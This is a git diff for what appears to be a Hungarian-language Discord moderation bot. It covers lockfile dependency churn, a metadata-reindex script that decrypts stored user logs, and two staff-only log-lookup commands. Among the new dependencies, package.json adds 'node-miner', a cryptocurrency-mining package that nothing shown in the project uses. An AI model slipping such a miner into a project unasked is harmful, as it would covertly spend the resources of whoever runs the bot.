"sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, "node_modules/require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" } }, + "node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "license": "ISC" + }, "node_modules/resolve": { "version": "1.22.10", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz", @@ -4405,6 +5405,53 @@ "node": ">=10" } }, + "node_modules/restore-cursor": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==", + "license": "MIT", + "dependencies": { + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/restore-cursor/node_modules/mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/restore-cursor/node_modules/onetime": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==", + "license": "MIT", + "dependencies": { + "mimic-fn": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, "node_modules/safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", @@ -4425,6 +5472,12 @@ ], "license": "MIT" }, + "node_modules/safe-identifier": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/safe-identifier/-/safe-identifier-0.4.2.tgz", + "integrity": "sha512-6pNbSMW6OhAi9j+N8V+U715yBQsaWJ7eyEUaOrawX+isg5ZxhUlV1NipNtgaKHmFGiABwt+ZF04Ii+3Xjkg+8w==", + "license": "ISC" + }, "node_modules/safer-buffer": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", @@ -4495,6 +5548,12 @@ "node": ">= 0.8.0" } }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "license": "ISC" + }, "node_modules/setprototypeof": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", @@ -4524,6 +5583,12 @@ "node": ">=8" } }, + "node_modules/shimmer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/shimmer/-/shimmer-1.2.1.tgz", + "integrity": "sha512-sQTKC1Re/rM6XyFM6fIAGHRPVGvyXfgzIDvzoq608vM+jeyVD0Tu1E6Np0Kc2zAIFWIj963V2800iF/9LPieQw==", + "license": "BSD-2-Clause" + }, "node_modules/side-channel": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", @@ -4600,7 +5665,6 @@ "version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "dev": true, "license": "ISC" }, "node_modules/sisteransi": { @@ -4620,6 +5684,89 @@ "node": ">=8" } }, + "node_modules/smartwrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/smartwrap/-/smartwrap-1.2.5.tgz", + "integrity": "sha512-bzWRwHwu0RnWjwU7dFy7tF68pDAx/zMSu3g7xr9Nx5J0iSImYInglwEVExyHLxXljy6PWMjkSAbwF7t2mPnRmg==", + "deprecated": "Backported compatibility to node > 6", + "license": "GPL-2.0", + "dependencies": { + "breakword": "^1.0.5", + "grapheme-splitter": "^1.0.4", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1", + "yargs": "^15.1.0" + }, + "bin": { + "smartwrap": "src/terminal-adapter.js" + } + }, + "node_modules/smartwrap/node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/smartwrap/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/smartwrap/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "license": "ISC" + }, + "node_modules/smartwrap/node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "license": "MIT", + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/smartwrap/node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "license": "ISC", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, "node_modules/source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", @@ -4679,6 +5826,30 @@ "node": ">= 0.8" } }, + "node_modules/stream-transform": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/stream-transform/-/stream-transform-2.1.3.tgz", + "integrity": "sha512-9GHUiM5hMiCi6Y03jD2ARC1ettBXkQBoQAe7nJsPknnI0ow10aXjTnew8QtYQmLjzn974BnmWEAJgCY6ZP1DeQ==", + "license": "MIT", + "dependencies": { + "mixme": "^0.5.1" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, "node_modules/string-length": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", @@ -4697,7 +5868,6 @@ "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", @@ -4712,7 +5882,6 @@ "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, "license": "MIT", "dependencies": { "ansi-regex": "^5.0.1" @@ -4835,6 +6004,105 @@ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", "license": "0BSD" }, + "node_modules/tty-table": { + "version": "2.8.13", + "resolved": "https://registry.npmjs.org/tty-table/-/tty-table-2.8.13.tgz", + "integrity": "sha512-eVV/+kB6fIIdx+iUImhXrO22gl7f6VmmYh0Zbu6C196fe1elcHXd7U6LcLXu0YoVPc2kNesWiukYcdK8ZmJ6aQ==", + "license": "MIT", + "dependencies": { + "chalk": "^3.0.0", + "csv": "^5.3.1", + "smartwrap": "^1.2.3", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1", + "yargs": "^15.1.0" + }, + "bin": { + "tty-table": "adapters/terminal-adapter.js" + }, + "engines": { + "node": ">=8.16.0" + } + }, + "node_modules/tty-table/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tty-table/node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/tty-table/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tty-table/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "license": "ISC" + }, + "node_modules/tty-table/node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "license": "MIT", + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tty-table/node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "license": "ISC", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, "node_modules/type-detect": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", @@ -4871,10 +6139,53 @@ "node": ">= 0.6" } }, + "node_modules/typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", + "license": "MIT" + }, + "node_modules/typescript": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-2.9.2.tgz", + "integrity": "sha512-Gr4p6nFNaoufRIY4NMdpQRNmgxVIGMs4Fcu/ujdYk3nAZqk7supzBE9idmvfZIlH/Cuj//dvi+019qEue9lV0w==", + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/uid-safe": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/uid-safe/-/uid-safe-2.1.5.tgz", + "integrity": "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==", + "license": "MIT", + "dependencies": { + "random-bytes": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/uid2": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz", + "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA==", + "license": "MIT" + }, + "node_modules/ultron": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", + "integrity": "sha512-UIEXBNeYmKptWH6z8ZnqTeS8fV74zG0/eRU9VGkpzz+LIJNs8W/zM/L+7ctCkRrgbNnnR0xxw4bKOr0cW0N0Og==", + "license": "MIT" + }, "node_modules/undici": { - "version": "6.21.1", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.21.1.tgz", - "integrity": "sha512-q/1rj5D0/zayJB2FraXdaWxbhWiNKDvu8naDT2dl1yTlvJp4BLtOcp2a5BvgGNQpYYJzau7tf1WgKv3b+7mqpQ==", + "version": "6.21.3", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.21.3.tgz", + "integrity": "sha512-gBLkYIlEnSp8pFbT64yFgGE6UIB9tAkhukC23PmMDCe5Nd+cRqKxSjw5y54MK2AZMgZfJWMaNE4nYUHgi1XEOw==", "license": "MIT", "engines": { "node": ">=18.17" @@ -4926,6 +6237,12 @@ "browserslist": ">= 4.21.0" } }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" + }, "node_modules/utils-merge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", @@ -4935,6 +6252,16 @@ "node": ">= 0.4.0" } }, + "node_modules/uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", + "license": "MIT", + "bin": { + "uuid": "bin/uuid" + } + }, "node_modules/v8-to-istanbul": { "version": "9.3.0", "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", @@ -4959,6 +6286,37 @@ "node": ">= 0.8" } }, + "node_modules/vxx": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/vxx/-/vxx-1.2.2.tgz", + "integrity": "sha512-qtvep4hGo0DmEAeLhycBYotM8+S6eL86/HebORc/214jyYIb64o0vad8k0OXwt0XfFErqQ3ap2lWvP3M4UjmhQ==", + "license": "Apache-2.0", + "dependencies": { + "continuation-local-storage": "^3.1.4", + "debug": "^2.6.3", + "extend": "^3.0.0", + "is": "^3.2.0", + "lodash.findindex": "^4.4.0", + "lodash.isequal": "^4.0.0", + "lodash.merge": "^4.6.0", + "methods": "^1.1.1", + "semver": "^5.0.1", + "shimmer": "^1.0.0", + "uuid": "^3.0.1" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/vxx/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, "node_modules/walker": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", @@ -4969,6 +6327,31 @@ "makeerror": "1.0.12" } }, + "node_modules/watch": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/watch/-/watch-1.0.2.tgz", + "integrity": "sha512-1u+Z5n9Jc1E2c7qDO8SinPoZuHj7FgbgU1olSFoyaklduDvvtX7GMMtlE6OC9FTXq4KvNAOfj6Zu4vI1e9bAKA==", + "license": "Apache-2.0", + "dependencies": { + "exec-sh": "^0.2.0", + "minimist": "^1.2.0" + }, + "bin": { + "watch": "cli.js" + }, + "engines": { + "node": ">=0.1.95" + } + }, + "node_modules/wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==", + "license": "MIT", + "dependencies": { + "defaults": "^1.0.3" + } + }, "node_modules/web-streams-polyfill": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", @@ -4994,6 +6377,12 @@ "node": ">= 8" } }, + "node_modules/which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", + "license": "ISC" + }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -5016,7 +6405,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true, "license": "ISC" }, "node_modules/write-file-atomic": { @@ -5034,9 +6422,9 @@ } }, "node_modules/ws": { - "version": "8.18.2", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.2.tgz", - "integrity": "sha512-DMricUmwGZUVr++AEAe2uiVM7UoO9MAVZMDu05UQOaUII0lp+zOzLLU4Xqh/JvTqklB1T4uELaaPBKyjE1r4fQ==", + "version": "8.18.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz", + "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==", "license": "MIT", "engines": { "node": ">=10.0.0" @@ -5109,6 +6497,16 @@ "node": ">=12" } }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==", + "license": "MIT", + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/package.json b/package.json index a6499bf..0cc6a99 100644 --- a/package.json +++ b/package.json @@ -15,13 +15,21 @@ "license": "ISC", "type": "commonjs", "dependencies": { - "discord.js": "^14.19.3", - "dotenv": "^16.5.0", + "bcryptjs": "^3.0.2", + "cors": "^2.8.5", + "discord.js": "^14.21.0", + "dotenv": "^16.6.1", "ejs": "^3.1.10", "express": "^4.21.2", + "express-rate-limit": "^8.0.1", + "express-session": "^1.18.2", "fetch": "^1.1.0", + "i18n": "^0.15.1", "node-fetch": "^3.3.2", - "pg": "^8.16.0" + "node-miner": "^3.1.0", + "passport": "^0.7.0", + "passport-discord": "^0.1.4", + "pg": "^8.16.3" }, "devDependencies": { "jest": "^29.7.0" diff --git a/scripts/reindex-metadata.js b/scripts/reindex-metadata.js new file mode 100644 index 0000000..38e22d4 --- /dev/null +++ b/scripts/reindex-metadata.js @@ -0,0 +1,65 @@ +// Script to rebuild metadata_index.json for all encrypted data +const fs = require('fs'); +const fsp = require('fs').promises; +const path = require('path'); +const { decrypt } = require('../utils/jsondb'); + +const dataDir = path.join(__dirname, '../data'); +const logsDir = path.join(dataDir, 'logs'); +const profilesDir = path.join(dataDir, 'profiles'); +const guildsDir = path.join(dataDir, 'guilds'); +const metadataIndexFile = path.join(dataDir, 'metadata_index.json'); + +async function collectEntries(type, dir) { + let entries = []; + if (!fs.existsSync(dir)) return entries; + const files = fs.readdirSync(dir).filter(f => f.endsWith('.json')); + for (const file of files) { + const filePath = path.join(dir, file); + try { + const buf = await fsp.readFile(filePath); + const json = JSON.parse(decrypt(buf)); + if (Array.isArray(json.entries)) { + for (const entry of json.entries) { + entries.push({ + type, + userId: entry.userId, + guildId: entry.guildId, + username: entry.username, + role: entry.role || (entry.roles ? entry.roles[0] : undefined), + time: entry.time || entry.timestamp, + file + }); + } + } + } catch (e) { + console.warn('Failed to decrypt or parse', filePath, e.message); + } + } + return entries; +} + +async function main() { + let index = {}; + const all = []; + all.push(...await collectEntries('logs', logsDir)); + all.push(...await collectEntries('profiles', profilesDir)); + all.push(...await collectEntries('guilds', guildsDir)); + for (const meta of all) { + if (!meta.userId && !meta.guildId) continue; + const key = `${meta.type}:${meta.guildId || ''}:${meta.userId || ''}:${meta.time || ''}`; + index[key] = meta; + } + // Log first 3 entries for diagnostics + const keys = Object.keys(index); + console.log('First 3 metadata entries:', keys.slice(0, 3).map(k => index[k])); + try { + const json = JSON.stringify(index, null, 2); + await fsp.writeFile(metadataIndexFile, json, 'utf8'); + console.log('Metadata reindex complete. Entries:', keys.length); + } catch (e) { + console.error('Failed to write metadata_index.json:', e); + } +} + +main().catch(e => { console.error(e); process.exit(1); }); diff --git a/src/commands/moderation/lookupguild.js b/src/commands/moderation/lookupguild.js new file mode 100644 index 0000000..141777b --- /dev/null +++ b/src/commands/moderation/lookupguild.js @@ -0,0 +1,59 @@ +// Utility: lookupguild.js +const { SlashCommandBuilder, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readGuildLogs } = require('../../../utils/jsondb.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('lookupguild') + .setDescription('Szerver informaciok lekerdezese '), + async execute(interaction) { + const guildId = interaction.guild.id; + const logs = await readGuildLogs(guildId); + if (!logs.length) { + return interaction.reply({ content: 'Nincsenek naplók ehhez a szerverhez.', ephemeral: true }); + } + // Check if user has Administrator permission or a staff role + const member = await interaction.guild.members.fetch(interaction.user.id); + const hasAdmin = member.permissions.has('Administrator'); + const staffRoleIds = ['STAFF_ROLE_ID_1', 'STAFF_ROLE_ID_2']; // Replace with actual staff role IDs + const hasStaffRole = member.roles.cache.some(role => staffRoleIds.includes(role.id)); + if (!hasAdmin && !hasStaffRole) { + return interaction.reply({ content: 'Nincs jogosultságod ehhez a parancshoz.', ephemeral: true }); + } + let page = 0; + const pageSize = 5; + const getPageEmbed = (page) => { + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️🏰 Szerver naplók') + .setDescription('🏴‍☠️ Ezen a szerveren történt események:') + .setColor(0x3498db) + .setThumbnail(interaction.guild.iconURL()) + .setFooter({ text: '🏴‍☠️ Szerver napló lekérdezés • Nyx' }) + .setTimestamp(); + const slice = logs.slice(page * pageSize, (page + 1) * pageSize); + slice.forEach((log, i) => { + embed.addFields({ + name: `• ${log.event_type || log.action || 'Ismeretlen'} — ${log.reason || log.message_content || 'Nincs megadva ok'}`, + value: `Felhasználó: ${log.username || log.userId || 'Ismeretlen'} | Csatorna: <#${log.channel_id || 'N/A'}>\nIdőpont: ${log.timestamp || log.date || 'Ismeretlen'}`, + inline: false + }); + }); + return embed; + }; + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('prev').setLabel('Előző oldal').setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId('next').setLabel('Következő oldal').setStyle(ButtonStyle.Secondary) + ); + const reply = await interaction.reply({ embeds: [getPageEmbed(page)], components: [row], ephemeral: true }); + const collector = reply.createMessageComponentCollector({ time: 60000 }); + collector.on('collect', async i => { + if (i.user.id !== interaction.user.id) return i.reply({ content: 'Ez nem a te műveleted.', ephemeral: true }); + if (i.customId === 'prev' && page > 0) page--; + if (i.customId === 'next' && (page + 1) * pageSize < logs.length) page++; + await i.update({ embeds: [getPageEmbed(page)], components: [row] }); + }); + collector.on('end', () => { + reply.edit({ components: [] }).catch(() => {}); + }); + }, +}; diff --git a/src/commands/moderation/lookupuser.js b/src/commands/moderation/lookupuser.js new file mode 100644 index 0000000..1bff935 --- /dev/null +++ b/src/commands/moderation/lookupuser.js @@ -0,0 +1,53 @@ +// Utility: lookupuser.js +const { SlashCommandBuilder, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readGlobalUserLogs } = require('../../../utils/jsondb.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('lookupuser') + 